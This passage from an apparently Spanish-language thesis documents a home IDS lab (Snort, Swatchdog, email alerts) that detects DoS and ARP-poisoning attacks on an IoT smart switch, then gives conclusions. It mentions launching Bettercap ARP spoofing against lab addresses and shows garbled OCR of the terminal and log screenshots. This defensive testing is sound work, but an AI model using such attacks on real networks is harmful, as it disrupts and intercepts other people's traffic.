Se revisa el servicio de swatchdog y se encuentra que se encontraron los logs del ataque alertado

alas 13:13 pm (Figura 104),

Figura 104 : Servicio de logs de Swatchdog

(-] Terminal ~ jul14 13:15

! Recibidos (1) -snortalex: X 5 root@alex-virtual-machine: fhomefalex Q =

¢ @ {root@alex—virtual—machine:}home}alex# swatchdog -c /etc/swatchrc -t /var/log/aut

L _

*** swatchdog version 3.2.4 (pid:12016) started at mié 14 jul 26021 13:12:21 -85
1
Jul 14 13:12:47 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion
:13:37 alex-vir de servicio [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80

Gl

1] CP} 192.168.1.222:sendmail: warning: fetcfpostfix/main.cf, line 54: overriding earlier entry: smtp
13:13:47 alex-vir_tls_security_level=may
1] CP} 192.168.1.222:postdrop: warning: fetcfpostfix/main.cf, line 54: overriding earlier entry: smtp
I EH-E ¢-vir tls security level=may
:13:57 alex-virJul 14 13:13:47 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion * Ul
1] CP} 192.168.1.222: de servicio [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 10:33 qn
] <-virsendmail: warning: fetc/postfix/main.cf, line 54: overriding earlier entry: smtp j
1] P} 192.1 : :_tls_security level=may BER
virpostdrop: warning: fetc/postfix/main.cf, line 54: overriding earlier entry: smtp 09:26
vir_tls security level=may
1] P} 192.168.1. ul 14 13:14:57 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion * [REEE
r de servicio [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 5 abr
1] CP} 192.168.1.222:sendmail: warning: fetcfpostfixfmain.cf, line 54: overriding earlier entry: smtp
] £ vir_tls_security_level=may L S abr 4
x-virpostdrop: warning: fetc/postfix/main.cf, 1line 54: overriding earlier entry: smtp 3 abr
1] CP} 192.1 .222: tls_security_level=may 3
3 abr

Fuente: Autor
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Por ultimo, como el servicio de swatchdog reporté las alertas significa que debid enviar esos logs
al correo, ingresamos al correo configurado y encontramos las alertas detectadas en la hora precisa
y con intervalos de 1 minuto entre cada correo tal como se configurd el treshold anteriormente

(Figura 105).

Figura 105: Revisién de notificacion en el correo

©) Firefox Web Browser v 13116 S O

t [SNORT] Alerta de pric

<« ¢ @ google.com

= i =k see

= M Gmalil Q = @ @ o
€« g 0 = o & B » 1de 13 » =

I— Redactar

[ Recibidos 1 root <snortalex@gmail.com= 13:12 (hace 2 minutos)

% Destacados para root, Ccormi ~

o Pospuestos Jul 14 13:12:47 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion de servicio [Priority: 1] {TCP} @

=~  Enviados 192.168.1 1318 -> 192.168.1.7:80

B Borradores e

Meet

B Nueva reunién root <snortalex@gmail.com= 13:13 (hace 1 minuto) | ¥y -

. . para root, Ccoxmi =
EE  Unirte a una reunién

Jul 14 13:13:47 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion de servicio [Prierity: 1] {TCP} +
Hangouts 192.168.1.222:31318 -> 192.168.1.7:80
asnort
No hay chats recientes I root <snortalex@gmail.com> 13:14 (hace O minutos) | T
Inicia uno nuevo. para root, Ceormi ~
K3 Q L, Jul 14 13:14:57 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion de servicio [Priority: 1] {TCP} *

Fuente: Autor

Se realiza otra prueba para verificar una de las alertas con los ataques de ARP. Iniciamos el
programa de Bettercap, para realizar un ataque de ARP poisoning, se inicia el ataque a las 14:27

pm (Figura 106).
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Figura 106: Ejecucion ataque ARP con Bettercap
Livities Applications ~ Places ~ ] Terminal ~ Jull4 14:29
root@kali: ~
[type 'help' for a

192.168.1.7

[err] unknown or invalid

j enabling

ting

[ Documents ; , . oy R 1R : BELLLY arp spoof

endpoint 192.168.1.7
endpoint 192.168.1.2

endpoint 192.1686.1.2

endpoint 192.168.1.1

Fuente: Autor

El sistema de Snort efectivamente detecta el ataque a esa hora, 14:27 pm y lo alerta (Figura 107),

Figura 107 : Deteccion y alerta de ataque ARP

(-] Terminal ~ jul14 14:30 S VO]

! [SNORT] Alerta de ARP « X Bl root@alex-virtual-machine: /homefalex Q - o

< c @ © 07/14-14:27:50.938764 [**] [112:4:1] (spp_arpspoof) Attempted ARP cache overwr
ite attack [**]
. 07/14-14:27:51.335902 i 112:1:1] (spp_arpspoof) Unicast ARP request [**] .
M Gmail 07/14-14:27:51.940126 [**] [11 (spp_arpspoof) Attempted ARP cache overwr 2 °
ite attack [**]

(spp_arpspoof) Attempted ARP cache overwr

3 -
I‘ Redactar 87/14-14:27:53.941680 112:4:1] (s f) Attempted A e ove =
127:53. 68 14 spp_arpspoof) Attempted cache overwr

ite attack

O Recibidos ] (spp_arpspoof) Attempted A cache overwr I

# Destacados HEH (spp_arpspoof) Attempted A cache overwr

© Pospuestos

~  Enviados (spp_arpspoof) Attempted A cache overwr

B Borradores 4-14:27:57.9448 HH (spp_arpspoof) Attempted A cache overwr S

Meet 58.946 112:4:1] (spp_arpspoof) Attempted ARP cache overwr

m«  Nueva reunion ite attack [**]

E  Unirte a una reunién 07/14-14:27:59.333552 112:1:1] (spp_arpspoof) Unicast ARP request [**]
07/14-14:27:59.946430 112:4:1] (spp_arpspoof) Attempted ARP cache overwrl +

Hangouts ite attack [**]

07/14-14:28:00.333539 _ [**] [112:1:1] (spp_arpspoof) Unicast ARP request [**]

asnort

Fuente: Autor
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Se procede a revisar los logs en swatchdog y alli se encuentran los logs correspondientes de la

alerta ARP alas 14:27 pm (Figura 108).

Figura 108 : Revision logs en Swatchdog

vities () Terminal ~ jul14 14:31 & O

! [SNORT] Alerta de ARP « X " root@alex-virtual-machine: /homefalex C
& c @ U de servicio [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
sendmail: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp

. _tls_security level=may

M Gmail postdrop: warning: Jfetc/postfix/main.cf, line 54: overriding earlier entry: smtp
_tls_security_ level=may

Jul 14 13:15:57 alex-virtual-machine snort: [1:8008:1] Ataque de tipo Denegacion

de servicio [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 > E

|- Redactar sendmail: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp
_tls_security_level=may

O Recibidos postdrop: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp A
tls securitv level=may

% Destacados Jul 14 14:27:38 alex-virtual-machine snort: (spp_arpspoof) Attempted ARP cache o

© Pospuestos verwrite attack

~  Enviados sendmail: warning: fetc/postfix/main.cf, line 54: overriding earlier entry: smtp
_tls_security_level=may

i Borradores postdrop: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp | T
_tls_security_level=may

Meet Jul 14 14:28:38 alex-virtual-machine snort: (spp_arpspoof) Attempted ARP cache o

B Nueva reunion verwrite attack

E@  Unirte a una reunién sendmail: warning: fetc/postfix/main.cf, line 54: overriding earlier entry: smtp i
_tls_security_ level=may : +

postdrop: warning: fetc/postfix/main.cf, line 54: overriding earlier entry: smtp

H it 5
angouts tls_security_level=may

asncrt

Fuente: Autor

Se revisa nuevamente el buzén de correo, se encuentran las alertas en la bandeja de entrada a la
misma hora 14:27 pm, con su respectivo 1 minuto entre correos como estd configurado él envié

(Figura 109).
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Figura 109: Revisidn de notificaciones en correo electréonico

) Firefox Web Browser + jul14 14:32 9 DO

1 [SNORT] Alertade ARP ¢« X+ = _ o

&« c @ O a google.com N @O &

= M Gmalil Q = & = @

< a 6 8 e € b 1de13 > B
l— Redactar
[ Recibidos 7
“ Destacados
© Pospuestos root <snortalex@gmail.com= 14:27 (hace 5 minutos) L
> Enviados para root, Ccoxmi
. Borradores Jul 14 14:27:38 alex-virtual-machine snort: (spp_arpspoof) Attempted ARP cache overwrite attack
Meet

m Nueva reunion

EE  Unirte a una reunién root <snortalex@gmail. com= 14:28 (hace 4 minutos) -

para root, Cecoxmi ~ +
Hangouts Jul 14 14:28:38 alex-virtual-machine snort: (Spp_arpspoof) Attempted ARP cache overwrite attack
asnort
No hay chats recientes I
Inicia uno nuevo. # Responder » Reenviar
>

Fuente: Autor

Al hacer el seguimiento del ataque y su respectiva deteccidn, alerta y notificacion al usuario se logra
evidenciar que el sistema funciona correctamente y esta en capacidad para funcionar en un hogar
donde se tenga un dispositivo Smart switch que se quiera asegurar de una mejor manera ante los

atacantes informaticos.






3. Conclusiones y recomendaciones

3.1 Conclusiones

e Ante la creciente demanda de dispositivos loT en el mercado y el incremento de ataques
informaticos a estos dispositivos es importante plantear mecanismos que ayuden a
mitigarlos y detenerlos. Con la presente investigacién se logré detectar los ataques
dirigidos al dispositivo 10T, detener el ataque con la ayuda del detector de intrusos y
notificar al usuario mediante correos electrénicos para que este pueda responder ante la

situacion como se puede evidenciar en el capitulo 2.6 Fase 5.

e Laidentificacion de los ataques pertinentes al dispositivo fue fundamental para segmentar
todas las otras categorias de ataques existentes que son aplicables al dispositivo loT
seleccionado como se evidencia en el apartado 2.2.2. Al enfocarnos en el pilar de la
disponibilidad se logré establecer cuatro de los ataques informaticos mas comunes a este

tipo de dispositivos.

e Al clasificar los indicadores de compromiso mediante la herramienta brindada por la CVSS
(capitulo 2.3.3) se logra tener un panorama mas claro sobre el impacto y la severidad de
los ataques investigados. El ataque con mas puntuacion por su impacto fue sin duda el de
DoS, los otros ataques tienen una clasificacion media, gracias a esta calculadora se pueden

medir los ataques con respecto al otro segln su impacto.

e la arquitectura implementada logré monitorear en tiempo real el trafico de red hacia y
saliente del dispositivo 10T, con esta arquitectura se logra detectar, alertar, rechazar

paquetes y notificar al usuario final sobre su dispositivo loT (capitulo 2.4).

e Con lainvestigacidén realizada y el montaje del laboratorio se lograron replicar los ataques
informaticos en diferentes escenarios propuestos, los ataques fueron exitosos (capitulo

2.3.2), el dispositivo loT fue siempre afectado en su disponibilidad y se evidencié que
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efectivamente este tipo de dispositivos es muy vulnerable ante ataques de denegacién de

servicio y los que implican la manipulacién de los registros ARP.

e Los ataques expuestos en la investigacién son ataques de red (capitulo 2.2.1), por esto la
importancia de tener un sistema de deteccidon de intrusos en la red toda vez estos

dispositivos no cuentan con ningun tipo de proteccion.

e Se realiza un plan de respuesta a incidentes para los ataques establecidos en la
investigacion (capitulo 2.5.1), con este plan el usuario final debe poder detener un ataque
informatico en tiempo real a su dispositivo y mejorar la seguridad en su red para evitar

ataques futuros.

3.2 Trabajo a futuro

Considerando los resultados positivos que se obtuvieron con la arquitectura propuesta y el
desempeio del dispositivo Smart switch, en un futuro trabajo se podria considerar atacar y
explotar la seguridad en dispositivos loT que ya vengan con protocolos de seguridad red
implementados. Esto con el objetivo de probar que tan bueno son los protocolos invertidos en
estos dispositivos y proponer maneras de mejorar la tecnologia de seguridad que los fabricantes

disponen en los dispositivos loT que si cuentan con ello.



A. Anexo:

PlandeRespuestalncidentes.docx

Este documento es anexado a la presente investigacion. Alli se encuentra un plan de accion dirigido
al usuario final duefio de un Smart switch loT. Con este documento el usuario final tendra un plan
detallado con pasos a seguir para asegurar mejor su red ante ataques informaticos y tendra un plan

de accidn para seguir en caso de algun incidente en su red.
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